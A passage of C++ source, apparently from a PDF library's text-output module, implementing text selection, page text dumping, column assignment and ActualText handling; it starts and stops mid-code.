frag->col; ++col) { s->append(space, spaceLen); } // get the fragment text col += dumpFragment(frag->line->text + frag->start, frag->len, uMap, s); } if (multiLine) { s->append(eol, eolLen); } } gfree(frags); uMap->decRefCnt(); return s; } class TextSelectionVisitor { public: TextSelectionVisitor (TextPage *page); virtual ~TextSelectionVisitor () { } virtual void visitBlock (TextBlock *block, TextLine *begin, TextLine *end, PDFRectangle *selection) = 0; virtual void visitLine (TextLine *line, TextWord *begin, TextWord *end, int edge_begin, int edge_end, PDFRectangle *selection) = 0; virtual void visitWord (TextWord *word, int begin, int end, PDFRectangle *selection) = 0; protected: TextPage *page; }; TextSelectionVisitor::TextSelectionVisitor (TextPage *page) : page(page) { } class TextSelectionDumper : public TextSelectionVisitor { public: TextSelectionDumper(TextPage *page); virtual ~TextSelectionDumper(); virtual void visitBlock (TextBlock *block, TextLine *begin, TextLine *end, PDFRectangle *selection) { }; virtual void visitLine (TextLine *line, TextWord *begin, TextWord *end, int edge_begin, int edge_end, PDFRectangle *selection); virtual void visitWord (TextWord *word, int begin, int end, PDFRectangle *selection); void endPage(); GooString *getText(void); GooList **takeWordList(int *nLines); private: void startLine(); void finishLine(); GooList **lines; int nLines, linesSize; GooList *words; int tableId; TextBlock *currentBlock; }; TextSelectionDumper::TextSelectionDumper(TextPage *page) : TextSelectionVisitor(page) { linesSize = 256; lines = (GooList **)gmallocn(linesSize, sizeof(GooList *)); nLines = 0; tableId = -1; currentBlock = NULL; words = NULL; } TextSelectionDumper::~TextSelectionDumper() { for (int i = 0; i < nLines; i++) deleteGooList(lines[i], TextWordSelection); gfree(lines); } void TextSelectionDumper::startLine() { finishLine(); words = new GooList(); } void TextSelectionDumper::finishLine() { if (nLines == linesSize) { linesSize *= 2; lines = (GooList **)grealloc(lines, linesSize * sizeof(GooList *)); } if (words && words->getLength() > 0) lines[nLines++] = words; else if (words) delete words; words = NULL; } void TextSelectionDumper::visitLine (TextLine *line, TextWord *begin, TextWord *end, int edge_begin, int edge_end, PDFRectangle *selection) { TextLineFrag frag; frag.init(line, edge_begin, edge_end - edge_begin); if (tableId >= 0 && frag.line->blk->tableId < 0) { finishLine(); tableId = -1; currentBlock = NULL; } if (frag.line->blk->tableId >= 0) { // a table if (tableId == -1) { tableId = frag.line->blk->tableId; currentBlock = frag.line->blk; } if (currentBlock == frag.line->blk) { // the same block startLine(); } else { // another block if (currentBlock->tableEnd) { // previous block ended its row startLine(); } currentBlock = frag.line->blk; } } else { // not a table startLine(); } } void TextSelectionDumper::visitWord (TextWord *word, int begin, int end, PDFRectangle *selection) { words->append(new TextWordSelection(word, begin, end)); } void TextSelectionDumper::endPage() { finishLine(); } GooString *TextSelectionDumper::getText (void) { GooString *text; int i, j; UnicodeMap *uMap; char space[8], eol[16]; int spaceLen, eolLen; text = new GooString(); if (!(uMap = globalParams->getTextEncoding())) return text; spaceLen = uMap->mapUnicode(0x20, space, sizeof(space)); eolLen = uMap->mapUnicode(0x0a, eol, sizeof(eol)); for (i = 0; i < nLines; i++) { GooList *lineWords = lines[i]; for (j = 0; j < lineWords->getLength(); j++) { TextWordSelection *sel = (TextWordSelection *)lineWords->get(j); page->dumpFragment (sel->word->text + sel->begin, sel->end - sel->begin, uMap, text); if (j < lineWords->getLength() - 1) text->append(space, spaceLen); } if (i < nLines - 1) text->append(eol, eolLen); } uMap->decRefCnt(); return text; } GooList **TextSelectionDumper::takeWordList(int *nLinesOut) { GooList **returnValue = lines; *nLinesOut = nLines; if (nLines == 0) return NULL; nLines = 0; lines = NULL; return returnValue; } class TextSelectionSizer : public TextSelectionVisitor { public: TextSelectionSizer(TextPage *page, double scale); ~TextSelectionSizer() { } virtual void visitBlock (TextBlock *block, TextLine *begin, TextLine *end, PDFRectangle *selection) { }; virtual void visitLine (TextLine *line, TextWord *begin, TextWord *end, int edge_begin, int edge_end, PDFRectangle *selection); virtual void visitWord (TextWord *word, int begin, int end, PDFRectangle *selection) { }; GooList *getRegion () { return list; } private: GooList *list; double scale; }; TextSelectionSizer::TextSelectionSizer(TextPage *page, double scale) : TextSelectionVisitor(page), scale(scale) { list = new GooList(); } void TextSelectionSizer::visitLine (TextLine *line, TextWord *begin, TextWord *end, int edge_begin, int edge_end, PDFRectangle *selection) { PDFRectangle *rect; double x1, y1, x2, y2, margin; margin = (line->yMax - line->yMin) / 8; x1 = line->edge[edge_begin]; y1 = line->yMin - margin; x2 = line->edge[edge_end]; y2 = line->yMax + margin; rect = new PDFRectangle (floor (x1 * scale), floor (y1 * scale), ceil (x2 * scale), ceil (y2 * scale)); list->append (rect); } class TextSelectionPainter : public TextSelectionVisitor { public: TextSelectionPainter(TextPage *page, double scale, int rotation, OutputDev *out, GfxColor *box_color, GfxColor *glyph_color); ~TextSelectionPainter(); virtual void visitBlock (TextBlock *block, TextLine *begin, TextLine *end, PDFRectangle *selection) { }; virtual void visitLine (TextLine *line, TextWord *begin, TextWord *end, int edge_begin, int edge_end, PDFRectangle *selection); virtual void visitWord (TextWord *word, int begin, int end, PDFRectangle *selection); void endPage(); private: OutputDev *out; GfxColor *box_color, *glyph_color; GfxState *state; GooList *selectionList; Matrix ctm, ictm; }; TextSelectionPainter::TextSelectionPainter(TextPage *page, double scale, int rotation, OutputDev *out, GfxColor *box_color, GfxColor *glyph_color) : TextSelectionVisitor(page), out(out), box_color(box_color), glyph_color(glyph_color) { PDFRectangle box(0, 0, page->pageWidth, page->pageHeight); selectionList = new GooList(); state = new GfxState(72 * scale, 72 * scale, &box, rotation, gFalse); state->getCTM(&ctm); ctm.invertTo(&ictm); out->startPage(0, state, NULL); out->setDefaultCTM (state->getCTM()); state->setFillColorSpace(new GfxDeviceRGBColorSpace()); state->setFillColor(box_color); out->updateFillColor(state); } TextSelectionPainter::~TextSelectionPainter() { deleteGooList(selectionList, TextWordSelection); delete state; } void TextSelectionPainter::visitLine (TextLine *line, TextWord *begin, TextWord *end, int edge_begin, int edge_end, PDFRectangle *selection) { double x1, y1, x2, y2, margin; margin = (line->yMax - line->yMin) / 8; x1 = floor (line->edge[edge_begin]); y1 = floor (line->yMin - margin); x2 = ceil (line->edge[edge_end]); y2 = ceil (line->yMax + margin); ctm.transform(line->edge[edge_begin], line->yMin - margin, &x1, &y1); ctm.transform(line->edge[edge_end], line->yMax + margin, &x2, &y2); x1 = floor (x1); y1 = floor (y1); x2 = ceil (x2); y2 = ceil (y2); ictm.transform(x1, y1, &x1, &y1); ictm.transform(x2, y2, &x2, &y2); state->moveTo(x1, y1); state->lineTo(x2, y1); state->lineTo(x2, y2); state->lineTo(x1, y2); state->closePath(); } void TextSelectionPainter::visitWord (TextWord *word, int begin, int end, PDFRectangle *selection) { selectionList->append(new TextWordSelection(word, begin, end)); } void TextSelectionPainter::endPage() { out->fill(state); out->saveState(state); out->clip(state); state->clearPath(); state->setFillColor(glyph_color); out->updateFillColor(state); for (int i = 0; i < selectionList->getLength(); i++) { TextWordSelection *sel = (TextWordSelection *) selectionList->get(i); int begin = sel->begin; while (begin < sel->end) { TextFontInfo *font = sel->word->font[begin]; font->gfxFont->incRefCnt(); Matrix *mat = &sel->word->textMat[begin]; state->setTextMat(mat->m[0], mat->m[1], mat->m[2], mat->m[3], 0, 0); state->setFont(font->gfxFont, 1); out->updateFont(state); int fEnd = begin + 1; while (fEnd < sel->end && font->matches(sel->word->font[fEnd]) && mat->m[0] == sel->word->textMat[fEnd].m[0] && mat->m[1] == sel->word->textMat[fEnd].m[1] && mat->m[2] == sel->word->textMat[fEnd].m[2] && mat->m[3] == sel->word->textMat[fEnd].m[3]) fEnd++; /* The only purpose of this string is to let the output device query * it's length. Might want to change this interface later. */ GooString *string = new GooString ((char *) sel->word->charcode, fEnd - begin); out->beginString(state, string); for (int i = begin; i < fEnd; i++) { if (i != begin && sel->word->charPos[i] == sel->word->charPos[i - 1]) continue; out->drawChar(state, sel->word->textMat[i].m[4], sel->word->textMat[i].m[5], 0, 0, 0, 0, sel->word->charcode[i], 1, NULL, 0); } out->endString(state); delete string; begin = fEnd; } } out->restoreState(state); out->endPage (); } void TextWord::visitSelection(TextSelectionVisitor *visitor, PDFRectangle *selection, SelectionStyle style) { int i, begin, end; double mid; begin = len; end = 0; for (i = 0; i < len; i++) { mid = (edge[i] + edge[i + 1]) / 2; if (selection->x1 < mid || selection->x2 < mid) if (i < begin) begin = i; if (mid < selection->x1 || mid < selection->x2) end = i + 1; } /* Skip empty selection. */ if (end <= begin) return; visitor->visitWord (this, begin, end, selection); } void TextLine::visitSelection(TextSelectionVisitor *visitor, PDFRectangle *selection, SelectionStyle style) { TextWord *p, *begin, *end, *current; int i, edge_begin, edge_end; PDFRectangle child_selection; begin = NULL; end = NULL; current = NULL; for (p = words; p != NULL; p = p->next) { if (blk->page->primaryLR) { if ((selection->x1 < p->xMax) || (selection->x2 < p->xMax)) if (begin == NULL) begin = p; if (((selection->x1 > p->xMin) || (selection->x2 > p->xMin)) && (begin != NULL)) { end = p->next; current = p; } } else { if ((selection->x1 > p->xMin) || (selection->x2 > p->xMin)) if (begin == NULL) begin = p; if (((selection->x1 < p->xMax) || (selection->x2 < p->xMax)) && (begin != NULL)) { end = p->next; current = p; } } } if (!current) current = begin; child_selection = *selection; if (style == selectionStyleWord) { child_selection.x1 = begin ? begin->xMin : xMin; if (end && end->xMax != -1) { child_selection.x2 = current->xMax; } else { child_selection.x2 = xMax; } } edge_begin = len; edge_end = 0; for (i = 0; i < len; i++) { double mid = (edge[i] + edge[i + 1]) / 2; if (child_selection.x1 < mid || child_selection.x2 < mid) if (i < edge_begin) edge_begin = i; if (mid < child_selection.x2 || mid < child_selection.x1) edge_end = i + 1; } /* Skip empty selection. */ if (edge_end <= edge_begin) return; visitor->visitLine (this, begin, end, edge_begin, edge_end, &child_selection); for (p = begin; p != end; p = p->next) p->visitSelection (visitor, &child_selection, style); } void TextBlock::visitSelection(TextSelectionVisitor *visitor, PDFRectangle *selection, SelectionStyle style) { PDFRectangle child_selection; double x[2], y[2], d, best_d[2]; TextLine *p, *best_line[2]; int i, count = 0, best_count[2], start, stop; GBool all[2]; x[0] = selection->x1; y[0] = selection->y1; x[1] = selection->x2; y[1] = selection->y2; for (i = 0; i < 2; i++) { // the first/last lines are often not nearest // the corners, so we have to force them to be // selected when the selection runs outside this // block. if (page->primaryLR) { all[i] = x[i] >= this->xMax && y[i] >= this->yMax; if (x[i] <= this->xMin && y[i] <= this->yMin) { best_line[i] = this->lines; best_count[i] = 1; } else { best_line[i] = NULL; best_count[i] = 0; } } else { all[i] = x[i] <= this->xMin && y[i] >= this->yMax; if (x[i] >= this->xMax && y[i] <= this->yMin) { best_line[i] = this->lines; best_count[i] = 1; } else { best_line[i] = NULL; best_count[i] = 0; } } best_d[i] = 0; } // find the nearest line to the selection points // using the manhattan distance. for (p = this->lines; p; p = p->next) { count++; for (i = 0; i < 2; i++) { d = fmax(p->xMin - x[i], 0.0) + fmax(x[i] - p->xMax, 0.0) + fmax(p->yMin - y[i], 0.0) + fmax(y[i] - p->yMax, 0.0); if (!best_line[i] || all[i] || d < best_d[i]) { best_line[i] = p; best_count[i] = count; best_d[i] = d; } } } // assert: best is always set. if (!best_line[0] || !best_line[1]) { return; } // Now decide which point was first. if (best_count[0] < best_count[1] || (best_count[0] == best_count[1] && y[0] < y[1])) { start = 0; stop = 1; } else { start = 1; stop = 0; } visitor->visitBlock(this, best_line[start], best_line[stop], selection); for (p = best_line[start]; p; p = p->next) { if (page->primaryLR) { child_selection.x1 = p->xMin; child_selection.x2 = p->xMax; } else { child_selection.x1 = p->xMax; child_selection.x2 = p->xMin; } child_selection.y1 = p->yMin; child_selection.y2 = p->yMax; if (style == selectionStyleLine) { if (p == best_line[start]) { child_selection.x1 = 0; child_selection.y1 = 0; } if (p == best_line[stop]) { child_selection.x2 = page->pageWidth; child_selection.y2 = page->pageHeight; } } else { if (p == best_line[start]) { child_selection.x1 = fmax(p->xMin, fmin(p->xMax, x[start])); child_selection.y1 = fmax(p->yMin, fmin(p->yMax, y[start])); } if (p == best_line[stop]) { child_selection.x2 = fmax(p->xMin, fmin(p->xMax, x[stop])); child_selection.y2 = fmax(p->yMin, fmin(p->yMax, y[stop])); } } p->visitSelection(visitor, &child_selection, style); if (p == best_line[stop]) { return; } } } void TextPage::visitSelection(TextSelectionVisitor *visitor, PDFRectangle *selection, SelectionStyle style) { PDFRectangle child_selection; double x[2], y[2], d, best_d[2]; double xMin, yMin, xMax, yMax; TextFlow *flow, *best_flow[2]; TextBlock *blk, *best_block[2]; int i, count = 0, best_count[2], start, stop; if (!flows) return; x[0] = selection->x1; y[0] = selection->y1; x[1] = selection->x2; y[1] = selection->y2; xMin = pageWidth; yMin = pageHeight; xMax = 0.0; yMax = 0.0; for (i = 0; i < 2; i++) { best_block[i] = NULL; best_flow[i] = NULL; best_count[i] = 0; best_d[i] = 0; } // find the nearest blocks to the selection points // using the manhattan distance. for (flow = flows; flow; flow = flow->next) { for (blk = flow->blocks; blk; blk = blk->next) { count++; // the first/last blocks in reading order are // often not the closest to the page corners; // track the corners, force those blocks to // be selected if the selection runs across // multiple pages. xMin = fmin(xMin, blk->xMin); yMin = fmin(yMin, blk->yMin); xMax = fmax(xMax, blk->xMax); yMax = fmax(yMax, blk->yMax); for (i = 0; i < 2; i++) { d = fmax(blk->xMin - x[i], 0.0) + fmax(x[i] - blk->xMax, 0.0) + fmax(blk->yMin - y[i], 0.0) + fmax(y[i] - blk->yMax, 0.0); if (!best_block[i] || d < best_d[i] || (!blk->next && !flow->next && x[i] >= fmin(xMax, pageWidth) && y[i] >= fmin(yMax, pageHeight))) { best_block[i] = blk; best_flow[i] = flow; best_count[i] = count; best_d[i] = d; } } } } for (i = 0; i < 2; i++) { if (primaryLR) { if (x[i] < xMin && y[i] < yMin) { best_block[i] = flows->blocks; best_flow[i] = flows; best_count[i] = 1; } } else { if (x[i] > xMax && y[i] < yMin) { best_block[i] = flows->blocks; best_flow[i] = flows; best_count[i] = 1; } } } // assert: best is always set. if (!best_block[0] || !best_block[1]) { return; } // Now decide which point was first. if (best_count[0] < best_count[1] || (best_count[0] == best_count[1] && y[0] < y[1])) { start = 0; stop = 1; } else { start = 1; stop = 0; } for (flow = best_flow[start]; flow; flow = flow->next) { if (flow == best_flow[start]) { blk = best_block[start]; } else { blk = flow->blocks; } for (; blk; blk = blk->next) { if (primaryLR) { child_selection.x1 = blk->xMin; child_selection.x2 = blk->xMax; } else { child_selection.x1 = blk->xMax; child_selection.x2 = blk->xMin; } child_selection.y1 = blk->yMin; child_selection.y2 = blk->yMax; if (blk == best_block[start]) { child_selection.x1 = fmax(blk->xMin, fmin(blk->xMax, x[start])); child_selection.y1 = fmax(blk->yMin, fmin(blk->yMax, y[start])); } if (blk == best_block[stop]) { child_selection.x2 = fmax(blk->xMin, fmin(blk->xMax, x[stop])); child_selection.y2 = fmax(blk->yMin, fmin(blk->yMax, y[stop])); blk->visitSelection(visitor, &child_selection, style); return; } blk->visitSelection(visitor, &child_selection, style); } } } void TextPage::drawSelection(OutputDev *out, double scale, int rotation, PDFRectangle *selection, SelectionStyle style, GfxColor *glyph_color, GfxColor *box_color) { TextSelectionPainter painter(this, scale, rotation, out, box_color, glyph_color); visitSelection(&painter, selection, style); painter.endPage(); } GooList *TextPage::getSelectionRegion(PDFRectangle *selection, SelectionStyle style, double scale) { TextSelectionSizer sizer(this, scale); visitSelection(&sizer, selection, style); return sizer.getRegion(); } GooString *TextPage::getSelectionText(PDFRectangle *selection, SelectionStyle style) { TextSelectionDumper dumper(this); visitSelection(&dumper, selection, style); dumper.endPage(); return dumper.getText(); } GooList **TextPage::getSelectionWords(PDFRectangle *selection, SelectionStyle style, int *nLines) { TextSelectionDumper dumper(this); visitSelection(&dumper, selection, style); dumper.endPage(); return dumper.takeWordList(nLines); } GBool TextPage::findCharRange(int pos, int length, double *xMin, double *yMin, double *xMax, double *yMax) { TextBlock *blk; TextLine *line; TextWord *word; double xMin0, xMax0, yMin0, yMax0; double xMin1, xMax1, yMin1, yMax1; GBool first; int i, j0, j1; if (rawOrder) { return gFalse; } //~ this doesn't correctly handle ranges split across multiple lines //~ (the highlighted region is the bounding box of all the parts of //~ the range) first = gTrue; xMin0 = xMax0 = yMin0 = yMax0 = 0; // make gcc happy xMin1 = xMax1 = yMin1 = yMax1 = 0; // make gcc happy for (i = 0; i < nBlocks; ++i) { blk = blocks[i]; for (line = blk->lines; line; line = line->next) { for (word = line->words; word; word = word->next) { if (pos < word->charPos[word->len] && pos + length > word->charPos[0]) { for (j0 = 0; j0 < word->len && pos >= word->charPos[j0 + 1]; ++j0) ; for (j1 = word->len - 1; j1 > j0 && pos + length <= word->charPos[j1]; --j1) ; switch (line->rot) { case 0: xMin1 = word->edge[j0]; xMax1 = word->edge[j1 + 1]; yMin1 = word->yMin; yMax1 = word->yMax; break; case 1: xMin1 = word->xMin; xMax1 = word->xMax; yMin1 = word->edge[j0]; yMax1 = word->edge[j1 + 1]; break; case 2: xMin1 = word->edge[j1 + 1]; xMax1 = word->edge[j0]; yMin1 = word->yMin; yMax1 = word->yMax; break; case 3: xMin1 = word->xMin; xMax1 = word->xMax; yMin1 = word->edge[j1 + 1]; yMax1 = word->edge[j0]; break; } if (first || xMin1 < xMin0) { xMin0 = xMin1; } if (first || xMax1 > xMax0) { xMax0 = xMax1; } if (first || yMin1 < yMin0) { yMin0 = yMin1; } if (first || yMax1 > yMax0) { yMax0 = yMax1; } first = gFalse; } } } } if (!first) { *xMin = xMin0; *xMax = xMax0; *yMin = yMin0; *yMax = yMax0; return gTrue; } return gFalse; } void TextPage::dump(void *outputStream, TextOutputFunc outputFunc, GBool physLayout) { UnicodeMap *uMap; TextFlow *flow; TextBlock *blk; TextLine *line; TextLineFrag *frags; TextWord *word; int nFrags, fragsSize; TextLineFrag *frag; char space[8], eol[16], eop[8]; int spaceLen, eolLen, eopLen; GBool pageBreaks; GooString *s; double delta; int col, i, j, d, n; // get the output encoding if (!(uMap = globalParams->getTextEncoding())) { return; } spaceLen = uMap->mapUnicode(0x20, space, sizeof(space)); eolLen = 0; // make gcc happy switch (globalParams->getTextEOL()) { case eolUnix: eolLen = uMap->mapUnicode(0x0a, eol, sizeof(eol)); break; case eolDOS: eolLen = uMap->mapUnicode(0x0d, eol, sizeof(eol)); eolLen += uMap->mapUnicode(0x0a, eol + eolLen, sizeof(eol) - eolLen); break; case eolMac: eolLen = uMap->mapUnicode(0x0d, eol, sizeof(eol)); break; } eopLen = uMap->mapUnicode(0x0c, eop, sizeof(eop)); pageBreaks = globalParams->getTextPageBreaks(); //~ writing mode (horiz/vert) // output the page in raw (content stream) order if (rawOrder) { for (word = rawWords; word; word = word->next) { s = new GooString(); dumpFragment(word->text, word->len, uMap, s); (*outputFunc)(outputStream, s->getCString(), s->getLength()); delete s; if (word->next && fabs(word->next->base - word->base) < maxIntraLineDelta * word->fontSize && word->next->xMin > word->xMax - minDupBreakOverlap * word->fontSize) { if (word->next->xMin > word->xMax + minWordSpacing * word->fontSize) { (*outputFunc)(outputStream, space, spaceLen); } } else { (*outputFunc)(outputStream, eol, eolLen); } } // output the page, maintaining the original physical layout } else if (physLayout) { // collect the line fragments for the page and sort them fragsSize = 256; frags = (TextLineFrag *)gmallocn(fragsSize, sizeof(TextLineFrag)); nFrags = 0; for (i = 0; i < nBlocks; ++i) { blk = blocks[i]; for (line = blk->lines; line; line = line->next) { if (nFrags == fragsSize) { fragsSize *= 2; frags = (TextLineFrag *)greallocn(frags, fragsSize, sizeof(TextLineFrag)); } frags[nFrags].init(line, 0, line->len); frags[nFrags].computeCoords(gTrue); ++nFrags; } } qsort(frags, nFrags, sizeof(TextLineFrag), &TextLineFrag::cmpYXPrimaryRot); i = 0; while (i < nFrags) { delta = maxIntraLineDelta * frags[i].line->words->fontSize; for (j = i+1; j < nFrags && fabs(frags[j].base - frags[i].base) < delta; ++j) ; qsort(frags + i, j - i, sizeof(TextLineFrag), &TextLineFrag::cmpXYColumnPrimaryRot); i = j; } #if 0 // for debugging printf("*** line fragments ***\n"); for (i = 0; i < nFrags; ++i) { frag = &frags[i]; printf("frag: x=%.2f..%.2f y=%.2f..%.2f base=%.2f '", frag->xMin, frag->xMax, frag->yMin, frag->yMax, frag->base); for (n = 0; n < frag->len; ++n) { fputc(frag->line->text[frag->start + n] & 0xff, stdout); } printf("'\n"); } printf("\n"); #endif // generate output col = 0; for (i = 0; i < nFrags; ++i) { frag = &frags[i]; // column alignment for (; col < frag->col; ++col) { (*outputFunc)(outputStream, space, spaceLen); } // print the line s = new GooString(); col += dumpFragment(frag->line->text + frag->start, frag->len, uMap, s); (*outputFunc)(outputStream, s->getCString(), s->getLength()); delete s; // print one or more returns if necessary if (i == nFrags - 1 || frags[i+1].col < col || fabs(frags[i+1].base - frag->base) > maxIntraLineDelta * frag->line->words->fontSize) { if (i < nFrags - 1) { d = (int)((frags[i+1].base - frag->base) / frag->line->words->fontSize); if (d < 1) { d = 1; } else if (d > 5) { d = 5; } } else { d = 1; } for (; d > 0; --d) { (*outputFunc)(outputStream, eol, eolLen); } col = 0; } } gfree(frags); // output the page, "undoing" the layout } else { for (flow = flows; flow; flow = flow->next) { for (blk = flow->blocks; blk; blk = blk->next) { for (line = blk->lines; line; line = line->next) { n = line->len; if (line->hyphenated && (line->next || blk->next)) { --n; } s = new GooString(); dumpFragment(line->text, n, uMap, s); (*outputFunc)(outputStream, s->getCString(), s->getLength()); delete s; // output a newline when a hyphen is not suppressed if (n == line->len) { (*outputFunc)(outputStream, eol, eolLen); } } } (*outputFunc)(outputStream, eol, eolLen); } } // end of page if (pageBreaks) { (*outputFunc)(outputStream, eop, eopLen); } uMap->decRefCnt(); } void TextPage::setMergeCombining(GBool merge) { mergeCombining = merge; } void TextPage::assignColumns(TextLineFrag *frags, int nFrags, GBool oneRot) { TextLineFrag *frag0, *frag1; int rot, col1, col2, i, j, k; // all text in the region has the same rotation -- recompute the // column numbers based only on the text in the region if (oneRot) { qsort(frags, nFrags, sizeof(TextLineFrag), &TextLineFrag::cmpXYLineRot); rot = frags[0].line->rot; for (i = 0; i < nFrags; ++i) { frag0 = &frags[i]; col1 = 0; for (j = 0; j < i; ++j) { frag1 = &frags[j]; col2 = 0; // make gcc happy switch (rot) { case 0: if (frag0->xMin >= frag1->xMax) { col2 = frag1->col + (frag1->line->col[frag1->start + frag1->len] - frag1->line->col[frag1->start]) + 1; } else { for (k = frag1->start; k < frag1->start + frag1->len && frag0->xMin >= 0.5 * (frag1->line->edge[k] + frag1->line->edge[k+1]); ++k) ; col2 = frag1->col + frag1->line->col[k] - frag1->line->col[frag1->start]; } break; case 1: if (frag0->yMin >= frag1->yMax) { col2 = frag1->col + (frag1->line->col[frag1->start + frag1->len] - frag1->line->col[frag1->start]) + 1; } else { for (k = frag1->start; k < frag1->start + frag1->len && frag0->yMin >= 0.5 * (frag1->line->edge[k] + frag1->line->edge[k+1]); ++k) ; col2 = frag1->col + frag1->line->col[k] - frag1->line->col[frag1->start]; } break; case 2: if (frag0->xMax <= frag1->xMin) { col2 = frag1->col + (frag1->line->col[frag1->start + frag1->len] - frag1->line->col[frag1->start]) + 1; } else { for (k = frag1->start; k < frag1->start + frag1->len && frag0->xMax <= 0.5 * (frag1->line->edge[k] + frag1->line->edge[k+1]); ++k) ; col2 = frag1->col + frag1->line->col[k] - frag1->line->col[frag1->start]; } break; case 3: if (frag0->yMax <= frag1->yMin) { col2 = frag1->col + (frag1->line->col[frag1->start + frag1->len] - frag1->line->col[frag1->start]) + 1; } else { for (k = frag1->start; k < frag1->start + frag1->len && frag0->yMax <= 0.5 * (frag1->line->edge[k] + frag1->line->edge[k+1]); ++k) ; col2 = frag1->col + frag1->line->col[k] - frag1->line->col[frag1->start]; } break; } if (col2 > col1) { col1 = col2; } } frag0->col = col1; } // the region includes text at different rotations -- use the // globally assigned column numbers, offset by the minimum column // number (i.e., shift everything over to column 0) } else { col1 = frags[0].col; for (i = 1; i < nFrags; ++i) { if (frags[i].col < col1) { col1 = frags[i].col; } } for (i = 0; i < nFrags; ++i) { frags[i].col -= col1; } } } int TextPage::dumpFragment(Unicode *text, int len, UnicodeMap *uMap, GooString *s) { if (uMap->isUnicode()) { return reorderText(text, len, uMap, primaryLR, s, NULL); } else { int nCols = 0; char buf[8]; int buflen = 0; for (int i = 0; i < len; ++i) { buflen = uMap->mapUnicode(text[i], buf, sizeof(buf)); s->append(buf, buflen); nCols += buflen; } return nCols; } } #if TEXTOUT_WORD_LIST TextWordList *TextPage::makeWordList(GBool physLayout) { return new TextWordList(this, physLayout); } #endif //------------------------------------------------------------------------ // ActualText //------------------------------------------------------------------------ ActualText::ActualText(TextPage *out) { out->incRefCnt(); text = out; actualText = NULL; actualTextNBytes = 0; } ActualText::~ActualText() { if (actualText) delete actualText; text->decRefCnt(); } void ActualText::addChar(GfxState *state, double x, double y, double dx, double dy, CharCode c, int nBytes, Unicode *u, int uLen) { if (!actualText) { text->addChar(state, x, y, dx, dy, c, nBytes, u, uLen); return; } // Inside ActualText span. if (!actualTextNBytes) { actualTextX0 = x; actualTextY0 = y; } actualTextX1 = x + dx; actualTextY1 = y + dy; actualTextNBytes += nBytes; } void ActualText::begin(GfxState *state, GooString *text) { if (actualText) delete actualText; actualText = new GooString(text); actualTextNBytes = 0; } void ActualText::end(GfxState *state) { // ActualText span closed. Output the span text and the // extents of all the glyphs inside the span if (actualTextNBytes) { Unicode *uni = NULL; int length; // now that we have the position info for all of the text inside // the marked content span, we feed the "ActualText" back through // text->addChar() length = TextStringToUCS4(actualText, &uni); text->addChar(state, actualTextX0, actualTextY0, actualTextX1 - actualTextX0, actualTextY1 - actualTextY0, 0, actualTextNBytes, uni, length); gfree(uni); } delete actualText; actualText = NULL; actualTextNBytes = 0; } //------------------------------------------------------------------------ // TextOutputDev //------------------------------------------------------------------------ static void TextOutputDev_outputToFile(void *stream, const char *text, int len) { fwrite(text, 1, len, (FILE *)stream); } TextOutputDev::TextOutputDev(char *fileName, GBool physLayoutA, double fixedPitchA, GBool rawOrderA, GBool append) { text = NULL; physLayout = physLayoutA; fixedPitch = physLayout ? fixedPitchA : 0; rawOrder = rawOrderA; doHTML = gFalse; ok = gTrue; // open file needClose = gFalse; if (fileName) { if (!strcmp(fileName, "-")) { outputStream = stdout; #ifdef _WIN32 // keep DOS from munging the end-of-line characters setmode(fileno(stdout), O_BINARY); #endif } else if ((outputStream = fopen(fileName, append ? "ab" : "wb"))) { needClose = gTrue; } else { error(errIO, -1, "Couldn't open text file '{0:s}'", fileName); ok = gFalse; actualText = NULL; return; } outputFunc = &TextOutputDev_outputToFile; } else { outputStream = NULL; } // set up text object text = new TextPage(rawOrderA); actualText = new ActualText(text); } TextOutputDev::TextOutputDev(TextOutputFunc func, void *stream, GBool physLayoutA, double fixedPitchA, GBool rawOrderA) { outputFunc = func; outputStream = stream; needClose = gFalse; physLayout = physLayoutA; fixedPitch = physLayout ? fixedPitchA : 0; rawOrder = rawOrderA; doHTML = gFalse; text = new TextPage(rawOrderA); actualText = new ActualText(text); ok = gTrue; } TextOutputDev::~TextOutputDev() { if (needClose) { #ifdef MACOS ICS_MapRefNumAndAssign((short)((FILE *)outputStream)->handle); #endif fclose((FILE *)outputStream); } if (text) { text->decRefCnt(); } delete actualText; } void TextOutputDev::startPage(int pageNum, GfxState *state, XRef *xref) { text->startPage(state); } void TextOutputDev::endPage() { text->endPage(); text->coalesce(physLayout, fixedPitch, doHTML); if (outputStream) { text->dump(outputStream, outputFunc, physLayout); } } void TextOutputDev::restoreState(GfxState *state) { text->updateFont(state); } void TextOutputDev::updateFont(GfxState *state) { text->updateFont(state); } void TextOutputDev::beginString(GfxState *state, GooString *s) { } void TextOutputDev::endString(GfxState *state) { } void TextOutputDev::drawChar(GfxState *state, double x, double y, double dx, double dy, double originX, double originY, CharCode c, int nBytes, Unicode *u, int uLen) { actualText->addChar(state, x, y, dx, dy, c, nBytes, u, uLen); } void TextOutputDev::incCharCount(int nChars) { text->incCharCount(nChars); } void TextOutputDev::beginActualText(GfxState *state, GooString *text) { actualText->begin(state, text); } void TextOutputDev::endActualText(GfxState *state) { actualText->end(state); } void TextOutputDev::stroke(GfxState *state) { GfxPath *path; GfxSubpath *subpath; double x[2], y[2]; if (!doHTML) { return; } path = state->getPath(); if (path->getNumSubpaths() != 1) { return; } subpath = path->getSubpath(0); if (subpath->getNumPoints() != 2) { return; } state->transform(subpath->getX(0), subpath->getY(0), &x[0], &y[0]); state->transform(subpath->getX(1), subpath->getY(1), &x[1], &y[1]); // look for a vertical or horizontal line if (x[0] == x[1] || y[0] == y[1]) { text->addUnderline(x[0], y[0], x[1], y[1]); } } void TextOutputDev::fill(GfxState *state) { GfxPath *path; GfxSubpath *subpath; double x[5], y[5]; double rx0, ry0, rx1, ry1, t; int i; if (!doHTML) { return; } path = state->getPath(); if (path->getNumSubpaths() != 1) { return; } subpath = path->getSubpath(0); if (subpath->getNumPoints() != 5) { return; } for (i = 0; i < 5; ++i) { if (subpath->getCurve(i)) { return; } state->transform(subpath->getX(i), subpath->getY(i), &x[i], &y[i]); } // look for a rectangle if (x[0] == x[1] && y[1] == y[2] && x[2] == x[3] && y[3] == y[4] && x[0] == x[4] && y[0] == y[4]) { rx0 = x[0]; ry0 = y[0]; rx1 = x[2]; ry1 = y[1]; } else if (y[0] == y[1] && x[1] == x[2] && y[2] == y[3] && x[3] == x[4] && x[0] == x[4] && y[0] == y[4]) { rx0 = x[0]; ry0 = y[0]; rx1 = x[1]; ry1 = y[2]; } else { return; } if (rx1 < rx0) { t = rx0; rx0 = rx1; rx1 = t; } if (ry1 < ry0) { t = ry0; ry0 = ry1; ry1 = t; } // skinny horizontal rectangle if (ry1 - ry0 < 